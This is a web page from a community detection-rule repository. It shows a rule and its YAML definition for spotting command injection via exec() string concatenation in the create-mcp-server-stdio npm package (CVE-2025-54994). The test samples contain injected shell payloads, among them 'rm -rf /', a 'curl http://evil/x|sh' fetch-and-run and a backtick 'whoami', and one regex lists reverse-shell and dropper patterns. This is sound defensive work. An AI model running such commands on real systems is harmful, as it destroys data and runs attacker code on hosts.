Skip to content
ATR-2026-00577critical工具下毒experimental

Command Injection in create-mcp-server-stdio via Unsafe exec() Concatenation (CVE-2025-54994)

GitHub Security Advisory GHSA-3ch2-jxxc-v4xf (CVE-2025-54994). The create-mcp-server-stdio npm package builds shell commands by concatenating MCP stdio tool parameters directly into exec(), so shell metacharacters supplied through a tool argument (; | && $() backticks) are interpreted by the shell and execute arbitrary commands on the server host (RCE).

嚴重度
critical
類別
工具下毒
掃描目標
runtime
作者
ATR Community (vulnerablemcp sync)

建議回應

alertblock tool

參考資料

OWASP Agentic
ASI02:2026 - Tool Misuse and ExploitationASI05:2026 - Unexpected Code Execution
OWASP LLM
LLM06:2025 - Excessive AgencyLLM05:2025 - Improper Output Handling
MITRE ATLAS
AML.T0053 - LLM Plugin CompromiseAML.T0051.001 - Indirect Prompt Injection

偵測條件

組合方式: any
  1. 01
    Detects the create-mcp-server-stdio exec() construct that concatenates a variable into the shell command string (string + concatenation or template literal ${...} interpolation), the exact CVE-2025-54994 sink.
    欄位: content運算子: regex
  2. 02
    Detects an MCP stdio tool parameter routed into create-mcp-server-stdio's exec() that already carries shell metacharacters (command separators, pipes, backtick or $() command substitution), indicating live injection.
    欄位: tool_input運算子: regex
  3. 03
    Detects create-mcp-server-stdio exec() carrying a classic post-injection payload (reverse shell, destructive rm, or curl|sh dropper) inside the concatenated command.
    欄位: content運算子: regex

攻擊範例(規則會觸發)

  1. create-mcp-server-stdio: exec("ls " + toolInput.path)
  2. const { stdout } = await exec("git log " + args.ref); // create-mcp-server-stdio handler
  3. create-mcp-server-stdio handler => exec(`cat ${params.file}`)
  4. create-mcp-server-stdio tool called with path="; rm -rf /" -> exec("ls ; rm -rf /")
  5. create-mcp-server-stdio exec("ping " + host) where host=$(curl http://evil/x|sh)
  6. create-mcp-server-stdio: exec("echo `whoami`") from tool param

以上為真實攻擊 payload 脫敏版本。用於 regression testing。

正常樣本(規則不會觸發)

  1. legitimate scaffold/CLI usage of the package with clean args
    npx create-mcp-server-stdio my-server --transport stdio
  2. safe execFile with an argument array (the recommended fix)
    create-mcp-server-stdio scaffolds a stdio MCP server using execFile("git", ["log", args.ref])
  3. spawn with arg array and shell disabled, no concatenation
    await spawn("ls", [userPath], { shell: false }) // create-mcp-server-stdio handler
  4. patch-discussion / advisory text mentioning the package and fix
    CVE-2025-54994 was fixed in create-mcp-server-stdio by replacing exec() with spawn() and an argument array.
  5. research abstract mentioning the package without an exec() concatenation sink
    Our research evaluated create-mcp-server-stdio among MCP stdio servers for unsafe command-execution patterns and shell metacharacter handling.
  6. normal library import and instantiation, no exec sink
    import { createServer } from "create-mcp-server-stdio"; const server = createServer({ name: "demo" });
  7. generic exec with a static command, unrelated to create-mcp-server-stdio
    exec("ls -la", { cwd: workdir }, callback)

完整 YAML 定義

在 GitHub 編輯 →
title: Command Injection in create-mcp-server-stdio via Unsafe exec() Concatenation (CVE-2025-54994)
id: ATR-2026-00577
rule_version: 1
status: experimental
description: 'GitHub Security Advisory GHSA-3ch2-jxxc-v4xf (CVE-2025-54994). The
  create-mcp-server-stdio npm package builds shell commands by concatenating MCP
  stdio tool parameters directly into exec(), so shell metacharacters supplied
  through a tool argument (; | && $() backticks) are interpreted by the shell and
  execute arbitrary commands on the server host (RCE).

  '
author: ATR Community (vulnerablemcp sync)
date: 2026/06/12
schema_version: '0.1'
detection_tier: pattern
maturity: experimental
severity: critical
references:
  owasp_llm:
  - "LLM06:2025 - Excessive Agency"
  - "LLM05:2025 - Improper Output Handling"
  owasp_agentic:
  - "ASI02:2026 - Tool Misuse and Exploitation"
  - "ASI05:2026 - Unexpected Code Execution"
  mitre_atlas:
  - "AML.T0053 - LLM Plugin Compromise"
  - "AML.T0051.001 - Indirect Prompt Injection"
  cve:
  - CVE-2025-54994
  cwe:
  - CWE-78
  ghsa:
  - GHSA-3ch2-jxxc-v4xf
  vulnerablemcp_id:
  - cve-2025-54994-command-injection-mcp-stdio
  external:
  - https://github.com/advisories/GHSA-3ch2-jxxc-v4xf
metadata_provenance:
  vulnerablemcp: vulnerablemcp-sync
  cve: vulnerablemcp-sync
  cwe: vulnerablemcp-sync
compliance:
  owasp_agentic:
    - id: ASI02:2026
      context: "OWASP Agentic ASI02:2026 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection of that technique."
      strength: primary
    - id: ASI05:2026
      context: "OWASP Agentic ASI05:2026 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection of that technique."
      strength: secondary
  owasp_llm:
    - id: LLM06:2025
      context: "OWASP LLM LLM06:2025 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule is a detection implementation for that category."
      strength: primary
    - id: LLM05:2025
      context: "OWASP LLM LLM05:2025 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule is a detection implementation for that category."
      strength: secondary
  eu_ai_act:
    - article: "15"
      context: "EU AI Act Article 15 (accuracy, robustness and cybersecurity) requires controls against command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection evidence for that obligation."
      strength: primary
    - article: "9"
      context: "EU AI Act Article 9 (risk management system) requires controls against command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection evidence for that obligation."
      strength: secondary
  nist_ai_rmf:
    - function: Manage
      subcategory: MG.2.3
      context: "NIST AI RMF MG.2.3 (risk treatment options selected and tracked) is supported by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: primary
    - function: Measure
      subcategory: MS.2.7
      context: "NIST AI RMF MS.2.7 (security and resilience evaluated and documented) is supported by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control, including control of externally-provided processes) is operationalised by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is operationalised by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: secondary

tags:
  category: tool-poisoning
  scan_target: runtime
  confidence: high
agent_source:
  type: mcp_exchange
  framework:
  - any
  provider:
  - any
detection:
  condition: any
  false_positives: []
  conditions:
  - field: content
    operator: regex
    value: (?i)(?:create-mcp-server-stdio[^\n]{0,200}\bexec\s*\(\s*(?:[`"'\x27][^`"'\x27\n]{0,160}[`"'\x27]\s*\+|`[^`\n]{0,160}\$\{)|\bexec\s*\(\s*(?:[`"'\x27][^`"'\x27\n]{0,160}[`"'\x27]\s*\+|`[^`\n]{0,160}\$\{)[^\n]{0,200}create-mcp-server-stdio)
    description: Detects the create-mcp-server-stdio exec() construct that concatenates
      a variable into the shell command string (string + concatenation or template
      literal ${...} interpolation), the exact CVE-2025-54994 sink.
  - field: tool_input
    operator: regex
    value: (?i)create-mcp-server-stdio[^\n]{0,200}\bexec\s*\([^)\n]{0,160}(?:;\s*\S|&&\s*\S|\|\|\s*\S|\|\s*\w|`[a-z][\w/.-]*`|\$\([a-z])
    description: Detects an MCP stdio tool parameter routed into create-mcp-server-stdio's
      exec() that already carries shell metacharacters (command separators, pipes,
      backtick or $() command substitution), indicating live injection.
  - field: content
    operator: regex
    value: (?i)create-mcp-server-stdio[^\n]{0,160}(?:\bexec\s*\([^)\n]{0,120})(?:\brm\s+-rf|\bnc\s+-[a-z]*e|/bin/sh|\bbash\s+-i|\bcurl\s+[^\n|]{0,80}\|\s*(?:sh|bash)|\bwget\s+[^\n|]{0,80}\|\s*(?:sh|bash))
    description: Detects create-mcp-server-stdio exec() carrying a classic post-injection
      payload (reverse shell, destructive rm, or curl|sh dropper) inside the
      concatenated command.
response:
  actions:
  - alert
  - block_tool
  message_template: '[ATR-2026-00577] CVE-2025-54994: create-mcp-server-stdio passes
    MCP stdio tool input into exec() with shell metacharacters, enabling arbitrary
    command execution (CWE-78 / RCE). Remediation: upgrade create-mcp-server-stdio
    to a patched release, and replace exec() with execFile()/spawn() using an
    argument array (never concatenate tool input into a shell string); validate and
    sandbox all MCP stdio server input.'
  notify:
  - security_team
confidence: 85
wild_fp_rate: 0
test_cases:
  true_positives:
  - input: 'create-mcp-server-stdio: exec("ls " + toolInput.path)'
    expected: triggered
    description: exec() concatenating a tool parameter into the shell command (the CVE sink)
  - input: 'const { stdout } = await exec("git log " + args.ref); // create-mcp-server-stdio handler'
    expected: triggered
    description: string + concatenation of MCP arg into exec within create-mcp-server-stdio
  - input: 'create-mcp-server-stdio handler => exec(`cat ${params.file}`)'
    expected: triggered
    description: template-literal interpolation of tool input into exec
  - input: 'create-mcp-server-stdio tool called with path="; rm -rf /" -> exec("ls ; rm -rf /")'
    expected: triggered
    description: live injection payload with command separator and destructive rm in exec
  - input: 'create-mcp-server-stdio exec("ping " + host) where host=$(curl http://evil/x|sh)'
    expected: triggered
    description: command substitution $() carried through create-mcp-server-stdio exec
  - input: 'create-mcp-server-stdio: exec("echo `whoami`") from tool param'
    expected: triggered
    description: backtick command substitution in create-mcp-server-stdio exec sink
  true_negatives:
  - input: 'npx create-mcp-server-stdio my-server --transport stdio'
    expected: not_triggered
    description: legitimate scaffold/CLI usage of the package with clean args
  - input: 'create-mcp-server-stdio scaffolds a stdio MCP server using execFile("git", ["log", args.ref])'
    expected: not_triggered
    description: safe execFile with an argument array (the recommended fix)
  - input: 'await spawn("ls", [userPath], { shell: false }) // create-mcp-server-stdio handler'
    expected: not_triggered
    description: spawn with arg array and shell disabled, no concatenation
  - input: 'CVE-2025-54994 was fixed in create-mcp-server-stdio by replacing exec() with spawn() and an argument array.'
    expected: not_triggered
    description: patch-discussion / advisory text mentioning the package and fix
  - input: 'Our research evaluated create-mcp-server-stdio among MCP stdio servers for unsafe command-execution patterns and shell metacharacter handling.'
    expected: not_triggered
    description: research abstract mentioning the package without an exec() concatenation sink
  - input: 'import { createServer } from "create-mcp-server-stdio"; const server = createServer({ name: "demo" });'
    expected: not_triggered
    description: normal library import and instantiation, no exec sink
  - input: 'exec("ls -la", { cwd: workdir }, callback)'
    expected: not_triggered
    description: generic exec with a static command, unrelated to create-mcp-server-stdio
_llm_authored:
  model: claude (gstack subagent)
  generalization_note: 'The rule generalizes beyond the literal PoC by anchoring on
    create-mcp-server-stdio together with its specific exec() concatenation sink:
    (1) string + concatenation of a variable into the shell command, (2) template
    literal ${...} interpolation, and (3) live shell metacharacters (; | && $()
    backticks) or classic post-injection payloads (reverse shell, rm -rf, curl|sh)
    appearing inside that exec() call. The create-mcp-server-stdio marker may appear
    within 200 chars on EITHER side of the exec() sink (e.g. as a leading handler
    label or a trailing handler comment), so the package context is still required
    but its position relative to the sink is not fixed. It deliberately does NOT match the JSON
    "command"/"args" config arrays (Flowise/LibreChat/litellm/mcp-stdio-config
    rules) nor the --mcp CLI flag form (PraisonAI), so the surface is unique to the
    create-mcp-server-stdio exec() concatenation construct. Safe execFile/spawn with
    argument arrays, scaffold CLI usage, library imports, and advisory/research text
    are excluded.'
  note: Generation-time authoring; verified by deterministic gate. Runtime detection
    is pure regex. Human review required before merge.

修訂歷史

建立於
2026-06-12
最後修改
2026-06-14
在 GitHub 查看完整 commit 歷史 →